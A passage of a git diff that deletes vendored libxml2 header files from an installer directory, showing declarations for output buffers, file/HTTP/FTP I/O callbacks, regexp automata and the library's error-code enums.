ioclose, - void *ioctx, - xmlCharEncodingHandlerPtr encoder); - -/* Couple of APIs to get the output without digging into the buffers */ -XMLPUBFUN const xmlChar * XMLCALL - xmlOutputBufferGetContent (xmlOutputBufferPtr out); -XMLPUBFUN size_t XMLCALL - xmlOutputBufferGetSize (xmlOutputBufferPtr out); - -XMLPUBFUN int XMLCALL - xmlOutputBufferWrite (xmlOutputBufferPtr out, - int len, - const char *buf); -XMLPUBFUN int XMLCALL - xmlOutputBufferWriteString (xmlOutputBufferPtr out, - const char *str); -XMLPUBFUN int XMLCALL - xmlOutputBufferWriteEscape (xmlOutputBufferPtr out, - const xmlChar *str, - xmlCharEncodingOutputFunc escaping); - -XMLPUBFUN int XMLCALL - xmlOutputBufferFlush (xmlOutputBufferPtr out); -XMLPUBFUN int XMLCALL - xmlOutputBufferClose (xmlOutputBufferPtr out); - -XMLPUBFUN int XMLCALL - xmlRegisterOutputCallbacks (xmlOutputMatchCallback matchFunc, - xmlOutputOpenCallback openFunc, - xmlOutputWriteCallback writeFunc, - xmlOutputCloseCallback closeFunc); - -xmlOutputBufferPtr - __xmlOutputBufferCreateFilename(const char *URI, - xmlCharEncodingHandlerPtr encoder, - int compression); - -#ifdef LIBXML_HTTP_ENABLED -/* This function only exists if HTTP support built into the library */ -XMLPUBFUN void XMLCALL - xmlRegisterHTTPPostCallbacks (void ); -#endif /* LIBXML_HTTP_ENABLED */ - -#endif /* LIBXML_OUTPUT_ENABLED */ - -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlCheckHTTPInput (xmlParserCtxtPtr ctxt, - xmlParserInputPtr ret); - -/* - * A predefined entity loader disabling network accesses - */ -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNoNetExternalEntityLoader (const char *URL, - const char *ID, - xmlParserCtxtPtr ctxt); - -/* - * xmlNormalizeWindowsPath is obsolete, don't use it. - * Check xmlCanonicPath in uri.h for a better alternative. - */ -XMLPUBFUN xmlChar * XMLCALL - xmlNormalizeWindowsPath (const xmlChar *path); - -XMLPUBFUN int XMLCALL - xmlCheckFilename (const char *path); -/** - * Default 'file://' protocol callbacks - */ -XMLPUBFUN int XMLCALL - xmlFileMatch (const char *filename); -XMLPUBFUN void * XMLCALL - xmlFileOpen (const char *filename); -XMLPUBFUN int XMLCALL - xmlFileRead (void * context, - char * buffer, - int len); -XMLPUBFUN int XMLCALL - xmlFileClose (void * context); - -/** - * Default 'http://' protocol callbacks - */ -#ifdef LIBXML_HTTP_ENABLED -XMLPUBFUN int XMLCALL - xmlIOHTTPMatch (const char *filename); -XMLPUBFUN void * XMLCALL - xmlIOHTTPOpen (const char *filename); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void * XMLCALL - xmlIOHTTPOpenW (const char * post_uri, - int compression ); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN int XMLCALL - xmlIOHTTPRead (void * context, - char * buffer, - int len); -XMLPUBFUN int XMLCALL - xmlIOHTTPClose (void * context); -#endif /* LIBXML_HTTP_ENABLED */ - -/** - * Default 'ftp://' protocol callbacks - */ -#ifdef LIBXML_FTP_ENABLED -XMLPUBFUN int XMLCALL - xmlIOFTPMatch (const char *filename); -XMLPUBFUN void * XMLCALL - xmlIOFTPOpen (const char *filename); -XMLPUBFUN int XMLCALL - xmlIOFTPRead (void * context, - char * buffer, - int len); -XMLPUBFUN int XMLCALL - xmlIOFTPClose (void * context); -#endif /* LIBXML_FTP_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#endif /* __XML_IO_H__ */ diff --git a/installer/libxml2/include/libxml/xmlautomata.h b/installer/libxml2/include/libxml/xmlautomata.h deleted file mode 100644 index bf1b131..0000000 --- a/installer/libxml2/include/libxml/xmlautomata.h +++ /dev/null @@ -1,146 +0,0 @@ -/* - * Summary: API to build regexp automata - * Description: the API to build regexp automata - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_AUTOMATA_H__ -#define __XML_AUTOMATA_H__ - -#include -#include - -#ifdef LIBXML_REGEXP_ENABLED -#ifdef LIBXML_AUTOMATA_ENABLED -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlAutomataPtr: - * - * A libxml automata description, It can be compiled into a regexp - */ -typedef struct _xmlAutomata xmlAutomata; -typedef xmlAutomata *xmlAutomataPtr; - -/** - * xmlAutomataStatePtr: - * - * A state int the automata description, - */ -typedef struct _xmlAutomataState xmlAutomataState; -typedef xmlAutomataState *xmlAutomataStatePtr; - -/* - * Building API - */ -XMLPUBFUN xmlAutomataPtr XMLCALL - xmlNewAutomata (void); -XMLPUBFUN void XMLCALL - xmlFreeAutomata (xmlAutomataPtr am); - -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataGetInitState (xmlAutomataPtr am); -XMLPUBFUN int XMLCALL - xmlAutomataSetFinalState (xmlAutomataPtr am, - xmlAutomataStatePtr state); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewState (xmlAutomataPtr am); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewTransition (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewTransition2 (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - const xmlChar *token2, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewNegTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - const xmlChar *token2, - void *data); - -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewCountTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - int min, - int max, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewCountTrans2 (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - const xmlChar *token2, - int min, - int max, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewOnceTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - int min, - int max, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewOnceTrans2 (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - const xmlChar *token2, - int min, - int max, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewAllTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - int lax); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewEpsilon (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewCountedTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - int counter); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewCounterTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - int counter); -XMLPUBFUN int XMLCALL - xmlAutomataNewCounter (xmlAutomataPtr am, - int min, - int max); - -XMLPUBFUN xmlRegexpPtr XMLCALL - xmlAutomataCompile (xmlAutomataPtr am); -XMLPUBFUN int XMLCALL - xmlAutomataIsDeterminist (xmlAutomataPtr am); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_AUTOMATA_ENABLED */ -#endif /* LIBXML_REGEXP_ENABLED */ - -#endif /* __XML_AUTOMATA_H__ */ diff --git a/installer/libxml2/include/libxml/xmlerror.h b/installer/libxml2/include/libxml/xmlerror.h deleted file mode 100644 index 037c16d..0000000 --- a/installer/libxml2/include/libxml/xmlerror.h +++ /dev/null @@ -1,945 +0,0 @@ -/* - * Summary: error handling - * Description: the API used to report errors - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#include - -#ifndef __XML_ERROR_H__ -#define __XML_ERROR_H__ - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlErrorLevel: - * - * Indicates the level of an error - */ -typedef enum { - XML_ERR_NONE = 0, - XML_ERR_WARNING = 1, /* A simple warning */ - XML_ERR_ERROR = 2, /* A recoverable error */ - XML_ERR_FATAL = 3 /* A fatal error */ -} xmlErrorLevel; - -/** - * xmlErrorDomain: - * - * Indicates where an error may have come from - */ -typedef enum { - XML_FROM_NONE = 0, - XML_FROM_PARSER, /* The XML parser */ - XML_FROM_TREE, /* The tree module */ - XML_FROM_NAMESPACE, /* The XML Namespace module */ - XML_FROM_DTD, /* The XML DTD validation with parser context*/ - XML_FROM_HTML, /* The HTML parser */ - XML_FROM_MEMORY, /* The memory allocator */ - XML_FROM_OUTPUT, /* The serialization code */ - XML_FROM_IO, /* The Input/Output stack */ - XML_FROM_FTP, /* The FTP module */ - XML_FROM_HTTP, /* The HTTP module */ - XML_FROM_XINCLUDE, /* The XInclude processing */ - XML_FROM_XPATH, /* The XPath module */ - XML_FROM_XPOINTER, /* The XPointer module */ - XML_FROM_REGEXP, /* The regular expressions module */ - XML_FROM_DATATYPE, /* The W3C XML Schemas Datatype module */ - XML_FROM_SCHEMASP, /* The W3C XML Schemas parser module */ - XML_FROM_SCHEMASV, /* The W3C XML Schemas validation module */ - XML_FROM_RELAXNGP, /* The Relax-NG parser module */ - XML_FROM_RELAXNGV, /* The Relax-NG validator module */ - XML_FROM_CATALOG, /* The Catalog module */ - XML_FROM_C14N, /* The Canonicalization module */ - XML_FROM_XSLT, /* The XSLT engine from libxslt */ - XML_FROM_VALID, /* The XML DTD validation with valid context */ - XML_FROM_CHECK, /* The error checking module */ - XML_FROM_WRITER, /* The xmlwriter module */ - XML_FROM_MODULE, /* The dynamically loaded module module*/ - XML_FROM_I18N, /* The module handling character conversion */ - XML_FROM_SCHEMATRONV,/* The Schematron validator module */ - XML_FROM_BUFFER, /* The buffers module */ - XML_FROM_URI /* The URI module */ -} xmlErrorDomain; - -/** - * xmlError: - * - * An XML Error instance. - */ - -typedef struct _xmlError xmlError; -typedef xmlError *xmlErrorPtr; -struct _xmlError { - int domain; /* What part of the library raised this error */ - int code; /* The error code, e.g. an xmlParserError */ - char *message;/* human-readable informative error message */ - xmlErrorLevel level;/* how consequent is the error */ - char *file; /* the filename */ - int line; /* the line number if available */ - char *str1; /* extra string information */ - char *str2; /* extra string information */ - char *str3; /* extra string information */ - int int1; /* extra number information */ - int int2; /* error column # or 0 if N/A (todo: rename field when we would brk ABI) */ - void *ctxt; /* the parser context if available */ - void *node; /* the node in the tree */ -}; - -/** - * xmlParserError: - * - * This is an error that the XML (or HTML) parser can generate - */ -typedef enum { - XML_ERR_OK = 0, - XML_ERR_INTERNAL_ERROR, /* 1 */ - XML_ERR_NO_MEMORY, /* 2 */ - XML_ERR_DOCUMENT_START, /* 3 */ - XML_ERR_DOCUMENT_EMPTY, /* 4 */ - XML_ERR_DOCUMENT_END, /* 5 */ - XML_ERR_INVALID_HEX_CHARREF, /* 6 */ - XML_ERR_INVALID_DEC_CHARREF, /* 7 */ - XML_ERR_INVALID_CHARREF, /* 8 */ - XML_ERR_INVALID_CHAR, /* 9 */ - XML_ERR_CHARREF_AT_EOF, /* 10 */ - XML_ERR_CHARREF_IN_PROLOG, /* 11 */ - XML_ERR_CHARREF_IN_EPILOG, /* 12 */ - XML_ERR_CHARREF_IN_DTD, /* 13 */ - XML_ERR_ENTITYREF_AT_EOF, /* 14 */ - XML_ERR_ENTITYREF_IN_PROLOG, /* 15 */ - XML_ERR_ENTITYREF_IN_EPILOG, /* 16 */ - XML_ERR_ENTITYREF_IN_DTD, /* 17 */ - XML_ERR_PEREF_AT_EOF, /* 18 */ - XML_ERR_PEREF_IN_PROLOG, /* 19 */ - XML_ERR_PEREF_IN_EPILOG, /* 20 */ - XML_ERR_PEREF_IN_INT_SUBSET, /* 21 */ - XML_ERR_ENTITYREF_NO_NAME, /* 22 */ - XML_ERR_ENTITYREF_SEMICOL_MISSING, /* 23 */ - XML_ERR_PEREF_NO_NAME, /* 24 */ - XML_ERR_PEREF_SEMICOL_MISSING, /* 25 */ - XML_ERR_UNDECLARED_ENTITY, /* 26 */ - XML_WAR_UNDECLARED_ENTITY, /* 27 */ - XML_ERR_UNPARSED_ENTITY, /* 28 */ - XML_ERR_ENTITY_IS_EXTERNAL, /* 29 */ - XML_ERR_ENTITY_IS_PARAMETER, /* 30 */ - XML_ERR_UNKNOWN_ENCODING, /* 31 */ - XML_ERR_UNSUPPORTED_ENCODING, /* 32 */ - XML_ERR_STRING_NOT_STARTED, /* 33 */ - XML_ERR_STRING_NOT_CLOSED, /* 34 */ - XML_ERR_NS_DECL_ERROR, /* 35 */ - XML_ERR_ENTITY_NOT_STARTED, /* 36 */ - XML_ERR_ENTITY_NOT_FINISHED, /* 37 */ - XML_ERR_LT_IN_ATTRIBUTE, /* 38 */ - XML_ERR_ATTRIBUTE_NOT_STARTED, /* 39 */ - XML_ERR_ATTRIBUTE_NOT_FINISHED, /* 40 */ - XML_ERR_ATTRIBUTE_WITHOUT_VALUE, /* 41 */ - XML_ERR_ATTRIBUTE_REDEFINED, /* 42 */ - XML_ERR_LITERAL_NOT_STARTED, /* 43 */ - XML_ERR_LITERAL_NOT_FINISHED, /* 44 */ - XML_ERR_COMMENT_NOT_FINISHED, /* 45 */ - XML_ERR_PI_NOT_STARTED, /* 46 */ - XML_ERR_PI_NOT_FINISHED, /* 47 */ - XML_ERR_NOTATION_NOT_STARTED, /* 48 */ - XML_ERR_NOTATION_NOT_FINISHED, /* 49 */ - XML_ERR_ATTLIST_NOT_STARTED, /* 50 */ - XML_ERR_ATTLIST_NOT_FINISHED, /* 51 */ - XML_ERR_MIXED_NOT_STARTED, /* 52 */ - XML_ERR_MIXED_NOT_FINISHED, /* 53 */ - XML_ERR_ELEMCONTENT_NOT_STARTED, /* 54 */ - XML_ERR_ELEMCONTENT_NOT_FINISHED, /* 55 */ - XML_ERR_XMLDECL_NOT_STARTED, /* 56 */ - XML_ERR_XMLDECL_NOT_FINISHED, /* 57 */ - XML_ERR_CONDSEC_NOT_STARTED, /* 58 */ - XML_ERR_CONDSEC_NOT_FINISHED, /* 59 */ - XML_ERR_EXT_SUBSET_NOT_FINISHED, /* 60 */ - XML_ERR_DOCTYPE_NOT_FINISHED, /* 61 */ - XML_ERR_MISPLACED_CDATA_END, /* 62 */ - XML_ERR_CDATA_NOT_FINISHED, /* 63 */ - XML_ERR_RESERVED_XML_NAME, /* 64 */ - XML_ERR_SPACE_REQUIRED, /* 65 */ - XML_ERR_SEPARATOR_REQUIRED, /* 66 */ - XML_ERR_NMTOKEN_REQUIRED, /* 67 */ - XML_ERR_NAME_REQUIRED, /* 68 */ - XML_ERR_PCDATA_REQUIRED, /* 69 */ - XML_ERR_URI_REQUIRED, /* 70 */ - XML_ERR_PUBID_REQUIRED, /* 71 */ - XML_ERR_LT_REQUIRED, /* 72 */ - XML_ERR_GT_REQUIRED, /* 73 */ - XML_ERR_LTSLASH_REQUIRED, /* 74 */ - XML_ERR_EQUAL_REQUIRED, /* 75 */ - XML_ERR_TAG_NAME_MISMATCH, /* 76 */ - XML_ERR_TAG_NOT_FINISHED, /* 77 */ - XML_ERR_STANDALONE_VALUE, /* 78 */ - XML_ERR_ENCODING_NAME, /* 79 */ - XML_ERR_HYPHEN_IN_COMMENT, /* 80 */ - XML_ERR_INVALID_ENCODING, /* 81 */ - XML_ERR_EXT_ENTITY_STANDALONE, /* 82 */ - XML_ERR_CONDSEC_INVALID, /* 83 */ - XML_ERR_VALUE_REQUIRED, /* 84 */ - XML_ERR_NOT_WELL_BALANCED, /* 85 */ - XML_ERR_EXTRA_CONTENT, /* 86 */ - XML_ERR_ENTITY_CHAR_ERROR, /* 87 */ - XML_ERR_ENTITY_PE_INTERNAL, /* 88 */ - XML_ERR_ENTITY_LOOP, /* 89 */ - XML_ERR_ENTITY_BOUNDARY, /* 90 */ - XML_ERR_INVALID_URI, /* 91 */ - XML_ERR_URI_FRAGMENT, /* 92 */ - XML_WAR_CATALOG_PI, /* 93 */ - XML_ERR_NO_DTD, /* 94 */ - XML_ERR_CONDSEC_INVALID_KEYWORD, /* 95 */ - XML_ERR_VERSION_MISSING, /* 96 */ - XML_WAR_UNKNOWN_VERSION, /* 97 */ - XML_WAR_LANG_VALUE, /* 98 */ - XML_WAR_NS_URI, /* 99 */ - XML_WAR_NS_URI_RELATIVE, /* 100 */ - XML_ERR_MISSING_ENCODING, /* 101 */ - XML_WAR_SPACE_VALUE, /* 102 */ - XML_ERR_NOT_STANDALONE, /* 103 */ - XML_ERR_ENTITY_PROCESSING, /* 104 */ - XML_ERR_NOTATION_PROCESSING, /* 105 */ - XML_WAR_NS_COLUMN, /* 106 */ - XML_WAR_ENTITY_REDEFINED, /* 107 */ - XML_ERR_UNKNOWN_VERSION, /* 108 */ - XML_ERR_VERSION_MISMATCH, /* 109 */ - XML_ERR_NAME_TOO_LONG, /* 110 */ - XML_ERR_USER_STOP, /* 111 */ - XML_NS_ERR_XML_NAMESPACE = 200, - XML_NS_ERR_UNDEFINED_NAMESPACE, /* 201 */ - XML_NS_ERR_QNAME, /* 202 */ - XML_NS_ERR_ATTRIBUTE_REDEFINED, /* 203 */ - XML_NS_ERR_EMPTY, /* 204 */ - XML_NS_ERR_COLON, /* 205 */ - XML_DTD_ATTRIBUTE_DEFAULT = 500, - XML_DTD_ATTRIBUTE_REDEFINED, /* 501 */ - XML_DTD_ATTRIBUTE_VALUE, /* 502 */ - XML_DTD_CONTENT_ERROR, /* 503 */ - XML_DTD_CONTENT_MODEL, /* 504 */ - XML_DTD_CONTENT_NOT_DETERMINIST, /* 505 */ - XML_DTD_DIFFERENT_PREFIX, /* 506 */ - XML_DTD_ELEM_DEFAULT_NAMESPACE, /* 507 */ - XML_DTD_ELEM_NAMESPACE, /* 508 */ - XML_DTD_ELEM_REDEFINED, /* 509 */ - XML_DTD_EMPTY_NOTATION, /* 510 */ - XML_DTD_ENTITY_TYPE, /* 511 */ - XML_DTD_ID_FIXED, /* 512 */ - XML_DTD_ID_REDEFINED, /* 513 */ - XML_DTD_ID_SUBSET, /* 514 */ - XML_DTD_INVALID_CHILD, /* 515 */ - XML_DTD_INVALID_DEFAULT, /* 516 */ - XML_DTD_LOAD_ERROR, /* 517 */ - XML_DTD_MISSING_ATTRIBUTE, /* 518 */ - XML_DTD_MIXED_CORRUPT, /* 519 */ - XML_DTD_MULTIPLE_ID, /* 520 */ - XML_DTD_NO_DOC, /* 521 */ - XML_DTD_NO_DTD, /* 522 */ - XML_DTD_NO_ELEM_NAME, /* 523 */ - XML_DTD_NO_PREFIX, /* 524 */ - XML_DTD_NO_ROOT, /* 525 */ - XML_DTD_NOTATION_REDEFINED, /* 526 */ - XML_DTD_NOTATION_VALUE, /* 527 */ - XML_DTD_NOT_EMPTY, /* 528 */ - XML_DTD_NOT_PCDATA, /* 529 */ - XML_DTD_NOT_STANDALONE, /* 530 */ - XML_DTD_ROOT_NAME, /* 531 */ - XML_DTD_STANDALONE_WHITE_SPACE, /* 532 */ - XML_DTD_UNKNOWN_ATTRIBUTE, /* 533 */ - XML_DTD_UNKNOWN_ELEM, /* 534 */ - XML_DTD_UNKNOWN_ENTITY, /* 535 */ - XML_DTD_UNKNOWN_ID, /* 536 */ - XML_DTD_UNKNOWN_NOTATION, /* 537 */ - XML_DTD_STANDALONE_DEFAULTED, /* 538 */ - XML_DTD_XMLID_VALUE, /* 539 */ - XML_DTD_XMLID_TYPE, /* 540 */ - XML_DTD_DUP_TOKEN, /* 541 */ - XML_HTML_STRUCURE_ERROR = 800, - XML_HTML_UNKNOWN_TAG, /* 801 */ - XML_RNGP_ANYNAME_ATTR_ANCESTOR = 1000, - XML_RNGP_ATTR_CONFLICT, /* 1001 */ - XML_RNGP_ATTRIBUTE_CHILDREN, /* 1002 */ - XML_RNGP_ATTRIBUTE_CONTENT, /* 1003 */ - XML_RNGP_ATTRIBUTE_EMPTY, /* 1004 */ - XML_RNGP_ATTRIBUTE_NOOP, /* 1005 */ - XML_RNGP_CHOICE_CONTENT, /* 1006 */ - XML_RNGP_CHOICE_EMPTY, /* 1007 */ - XML_RNGP_CREATE_FAILURE, /* 1008 */ - XML_RNGP_DATA_CONTENT, /* 1009 */ - XML_RNGP_DEF_CHOICE_AND_INTERLEAVE, /* 1010 */ - XML_RNGP_DEFINE_CREATE_FAILED, /* 1011 */ - XML_RNGP_DEFINE_EMPTY, /* 1012 */ - XML_RNGP_DEFINE_MISSING, /* 1013 */ - XML_RNGP_DEFINE_NAME_MISSING, /* 1014 */ - XML_RNGP_ELEM_CONTENT_EMPTY, /* 1015 */ - XML_RNGP_ELEM_CONTENT_ERROR, /* 1016 */ - XML_RNGP_ELEMENT_EMPTY, /* 1017 */ - XML_RNGP_ELEMENT_CONTENT, /* 1018 */ - XML_RNGP_ELEMENT_NAME, /* 1019 */ - XML_RNGP_ELEMENT_NO_CONTENT, /* 1020 */ - XML_RNGP_ELEM_TEXT_CONFLICT, /* 1021 */ - XML_RNGP_EMPTY, /* 1022 */ - XML_RNGP_EMPTY_CONSTRUCT, /* 1023 */ - XML_RNGP_EMPTY_CONTENT, /* 1024 */ - XML_RNGP_EMPTY_NOT_EMPTY, /* 1025 */ - XML_RNGP_ERROR_TYPE_LIB, /* 1026 */ - XML_RNGP_EXCEPT_EMPTY, /* 1027 */ - XML_RNGP_EXCEPT_MISSING, /* 1028 */ - XML_RNGP_EXCEPT_MULTIPLE, /* 1029 */ - XML_RNGP_EXCEPT_NO_CONTENT, /* 1030 */ - XML_RNGP_EXTERNALREF_EMTPY, /* 1031 */ - XML_RNGP_EXTERNAL_REF_FAILURE, /* 1032 */ - XML_RNGP_EXTERNALREF_RECURSE, /* 1033 */ - XML_RNGP_FORBIDDEN_ATTRIBUTE, /* 1034 */ - XML_RNGP_FOREIGN_ELEMENT, /* 1035 */ - XML_RNGP_GRAMMAR_CONTENT, /* 1036 */ - XML_RNGP_GRAMMAR_EMPTY, /* 1037 */ - XML_RNGP_GRAMMAR_MISSING, /* 1038 */ - XML_RNGP_GRAMMAR_NO_START, /* 1039 */ - XML_RNGP_GROUP_ATTR_CONFLICT, /* 1040 */ - XML_RNGP_HREF_ERROR, /* 1041 */ - XML_RNGP_INCLUDE_EMPTY, /* 1042 */ - XML_RNGP_INCLUDE_FAILURE, /* 1043 */ - XML_RNGP_INCLUDE_RECURSE, /* 1044 */ - XML_RNGP_INTERLEAVE_ADD, /* 1045 */ - XML_RNGP_INTERLEAVE_CREATE_FAILED, /* 1046 */ - XML_RNGP_INTERLEAVE_EMPTY, /* 1047 */ - XML_RNGP_INTERLEAVE_NO_CONTENT, /* 1048 */ - XML_RNGP_INVALID_DEFINE_NAME, /* 1049 */ - XML_RNGP_INVALID_URI, /* 1050 */ - XML_RNGP_INVALID_VALUE, /* 1051 */ - XML_RNGP_MISSING_HREF, /* 1052 */ - XML_RNGP_NAME_MISSING, /* 1053 */ - XML_RNGP_NEED_COMBINE, /* 1054 */ - XML_RNGP_NOTALLOWED_NOT_EMPTY, /* 1055 */ - XML_RNGP_NSNAME_ATTR_ANCESTOR, /* 1056 */ - XML_RNGP_NSNAME_NO_NS, /* 1057 */ - XML_RNGP_PARAM_FORBIDDEN, /* 1058 */ - XML_RNGP_PARAM_NAME_MISSING, /* 1059 */ - XML_RNGP_PARENTREF_CREATE_FAILED, /* 1060 */ - XML_RNGP_PARENTREF_NAME_INVALID, /* 1061 */ - XML_RNGP_PARENTREF_NO_NAME, /* 1062 */ - XML_RNGP_PARENTREF_NO_PARENT, /* 1063 */ - XML_RNGP_PARENTREF_NOT_EMPTY, /* 1064 */ - XML_RNGP_PARSE_ERROR, /* 1065 */ - XML_RNGP_PAT_ANYNAME_EXCEPT_ANYNAME, /* 1066 */ - XML_RNGP_PAT_ATTR_ATTR, /* 1067 */ - XML_RNGP_PAT_ATTR_ELEM, /* 1068 */ - XML_RNGP_PAT_DATA_EXCEPT_ATTR, /* 1069 */ - XML_RNGP_PAT_DATA_EXCEPT_ELEM, /* 1070 */ - XML_RNGP_PAT_DATA_EXCEPT_EMPTY, /* 1071 */ - XML_RNGP_PAT_DATA_EXCEPT_GROUP, /* 1072 */ - XML_RNGP_PAT_DATA_EXCEPT_INTERLEAVE, /* 1073 */ - XML_RNGP_PAT_DATA_EXCEPT_LIST, /* 1074 */ - XML_RNGP_PAT_DATA_EXCEPT_ONEMORE, /* 1075 */ - XML_RNGP_PAT_DATA_EXCEPT_REF, /* 1076 */ - XML_RNGP_PAT_DATA_EXCEPT_TEXT, /* 1077 */ - XML_RNGP_PAT_LIST_ATTR, /* 1078 */ - XML_RNGP_PAT_LIST_ELEM, /* 1079 */ - XML_RNGP_PAT_LIST_INTERLEAVE, /* 1080 */ - XML_RNGP_PAT_LIST_LIST, /* 1081 */ - XML_RNGP_PAT_LIST_REF, /* 1082 */ - XML_RNGP_PAT_LIST_TEXT, /* 1083 */ - XML_RNGP_PAT_NSNAME_EXCEPT_ANYNAME, /* 1084 */ - XML_RNGP_PAT_NSNAME_EXCEPT_NSNAME, /* 1085 */ - XML_RNGP_PAT_ONEMORE_GROUP_ATTR, /* 1086 */ - XML_RNGP_PAT_ONEMORE_INTERLEAVE_ATTR, /* 1087 */ - XML_RNGP_PAT_START_ATTR, /* 1088 */ - XML_RNGP_PAT_START_DATA, /* 1089 */ - XML_RNGP_PAT_START_EMPTY, /* 1090 */ - XML_RNGP_PAT_START_GROUP, /* 1091 */ - XML_RNGP_PAT_START_INTERLEAVE, /* 1092 */ - XML_RNGP_PAT_START_LIST, /* 1093 */ - XML_RNGP_PAT_START_ONEMORE, /* 1094 */ - XML_RNGP_PAT_START_TEXT, /* 1095 */ - XML_RNGP_PAT_START_VALUE, /* 1096 */ - XML_RNGP_PREFIX_UNDEFINED, /* 1097 */ - XML_RNGP_REF_CREATE_FAILED, /* 1098 */ - XML_RNGP_REF_CYCLE, /* 1099 */ - XML_RNGP_REF_NAME_INVALID, /* 1100 */ - XML_RNGP_REF_NO_DEF, /* 1101 */ - XML_RNGP_REF_NO_NAME, /* 1102 */ - XML_RNGP_REF_NOT_EMPTY, /* 1103 */ - XML_RNGP_START_CHOICE_AND_INTERLEAVE, /* 1104 */ - XML_RNGP_START_CONTENT, /* 1105 */ - XML_RNGP_START_EMPTY, /* 1106 */ - XML_RNGP_START_MISSING, /* 1107 */ - XML_RNGP_TEXT_EXPECTED, /* 1108 */ - XML_RNGP_TEXT_HAS_CHILD, /* 1109 */ - XML_RNGP_TYPE_MISSING, /* 1110 */ - XML_RNGP_TYPE_NOT_FOUND, /* 1111 */ - XML_RNGP_TYPE_VALUE, /* 1112 */ - XML_RNGP_UNKNOWN_ATTRIBUTE, /* 1113 */ - XML_RNGP_UNKNOWN_COMBINE, /* 1114 */ - XML_RNGP_UNKNOWN_CONSTRUCT, /* 1115 */ - XML_RNGP_UNKNOWN_TYPE_LIB, /* 1116 */ - XML_RNGP_URI_FRAGMENT, /* 1117 */ - XML_RNGP_URI_NOT_ABSOLUTE, /* 1118 */ - XML_RNGP_VALUE_EMPTY, /* 1119 */ - XML_RNGP_VALUE_NO_CONTENT, /* 1120 */ - XML_RNGP_XMLNS_NAME, /* 1121 */ - XML_RNGP_XML_NS, /* 1122 */ - XML_XPATH_EXPRESSION_OK = 1200, - XML_XPATH_NUMBER_ERROR, /* 1201 */ - XML_XPATH_UNFINISHED_LITERAL_ERROR, /* 1202 */ - XML_XPATH_START_LITERAL_ERROR, /* 1203 */ - XML_XPATH_VARIABLE_REF_ERROR, /* 1204 */ - XML_XPATH_UNDEF_VARIABLE_ERROR, /* 1205 */ - XML_XPATH_INVALID_PREDICATE_ERROR, /* 1206 */ - XML_XPATH_EXPR_ERROR, /* 1207 */ - XML_XPATH_UNCLOSED_ERROR, /* 1208 */ - XML_XPATH_UNKNOWN_FUNC_ERROR, /* 1209 */ - XML_XPATH_INVALID_OPERAND, /* 1210 */ - XML_XPATH_INVALID_TYPE, /* 1211 */ - XML_XPATH_INVALID_ARITY, /* 1212 */ - XML_XPATH_INVALID_CTXT_SIZE, /* 1213 */ - XML_XPATH_INVALID_CTXT_POSITION, /* 1214 */ - XML_XPATH_MEMORY_ERROR, /* 1215 */ - XML_XPTR_SYNTAX_ERROR, /* 1216 */ - XML_XPTR_RESOURCE_ERROR, /* 1217 */ - XML_XPTR_SUB_RESOURCE_ERROR, /* 1218 */ - XML_XPATH_UNDEF_PREFIX_ERROR, /* 1219 */ - XML_XPATH_ENCODING_ERROR, /* 1220 */ - XML_XPATH_INVALID_CHAR_ERROR, /* 1221 */ - XML_TREE_INVALID_HEX = 1300, - XML_TREE_INVALID_DEC, /* 1301 */ - XML_TREE_UNTERMINATED_ENTITY, /* 1302 */ - XML_TREE_NOT_UTF8, /* 1303 */ - XML_SAVE_NOT_UTF8 = 1400, - XML_SAVE_CHAR_INVALID, /* 1401 */ - XML_SAVE_NO_DOCTYPE, /* 1402 */ - XML_SAVE_UNKNOWN_ENCODING, /* 1403 */ - XML_REGEXP_COMPILE_ERROR = 1450, - XML_IO_UNKNOWN = 1500, - XML_IO_EACCES, /* 1501 */ - XML_IO_EAGAIN, /* 1502 */ - XML_IO_EBADF, /* 1503 */ - XML_IO_EBADMSG, /* 1504 */ - XML_IO_EBUSY, /* 1505 */ - XML_IO_ECANCELED, /* 1506 */ - XML_IO_ECHILD, /* 1507 */ - XML_IO_EDEADLK, /* 1508 